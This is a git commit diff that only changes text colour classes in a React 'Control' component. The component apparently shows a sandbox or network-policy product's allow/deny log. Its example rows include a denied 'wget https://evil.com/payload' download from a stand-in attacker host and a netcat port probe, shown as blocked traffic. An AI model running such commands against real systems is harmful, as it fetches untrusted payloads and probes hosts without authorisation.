fix: text not visible

This commit is contained in:
Nik L
2026-04-16 11:28:58 -04:00
parent 3f7a5e0fc1
commit b1d0c95232

View File

@@ -98,19 +98,19 @@ export function Control() {
</div>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
<span className="text-foreground truncate">curl https://api.anthropic.com</span>
<span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
<span className="text-foreground truncate">npm install lodash</span>
<span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
<span className="text-foreground truncate">wget https://evil.com/payload</span>
<span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
<span className="text-foreground truncate">nc -z 10.0.0.1 22</span>
<span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
</div>
@@ -137,19 +137,19 @@ export function Control() {
</div>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
<span className="text-foreground truncate">api.anthropic.com</span>
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
<span className="text-foreground truncate">registry.npmjs.org</span>
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
<span className="text-foreground truncate">evil.com (direct)</span>
<span className="text-red-300 text-[10px] shrink-0">KERNEL DENY</span>
</div>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
<span className="text-foreground truncate">analytics.vendor.io</span>
<span className="text-red-300 text-[10px] shrink-0">PROXY DENY</span>
</div>
</div>
@@ -185,11 +185,11 @@ export function Control() {
</div>
<div className="mt-3 flex items-center gap-3 min-w-0">
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
<span className="text-foreground truncate">git commit -m &quot;fix: types&quot;</span>
</div>
<div className="flex items-center gap-3 min-w-0">
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
<span className="text-foreground truncate">npm install lodash</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif mt-4">